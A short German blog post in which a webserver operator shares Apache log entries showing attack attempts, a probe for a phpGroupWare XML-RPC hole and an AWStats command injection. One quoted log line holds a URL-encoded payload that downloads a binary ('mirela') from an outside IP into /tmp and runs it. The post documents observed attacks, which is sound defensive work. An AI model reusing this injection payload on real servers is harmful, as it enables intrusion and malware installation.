XML-RPC Angriffe

Seitdem ich einen eigenen Webserver betreibe lese ich viele Logfiles . Regelmäßig fallen mir dabei im Apache-Log Einträge auf wie z. B.:

62.XX.XX.XX - - [26/Dec/2005:12:04:15 +0100] "POST /phpgroupware/xmlrpc.php 

HTTP/1.1" 404 221 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

oder

62.XX.XX.XX - - [26/Dec/2005:12:04:01 +0100] "GET /awstats/awstats.pl?

configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20209%2e136%2e48%2e69%2

fmirela%3bchmod%20%2bx%20mirela%3b%2e%2fmirela;echo%20YYY;echo| 

HTTP/1.1" 404 216 "-" "Mozilla/4.0(compatible; MSIE 6.0; Windows NT 5.1;)"

Wenn man die Absender-IP im Browser öffnet springt einem eine antike Version der eGroupWare-Software entgegen, die für XML-RPC-Lücke anfällig ist. Bin mal gespannt ob die Besitzer auf meine E-Mail reagieren.

Scheinbar bin ich aber nicht der einzige der seine Logs aufmerksam liest.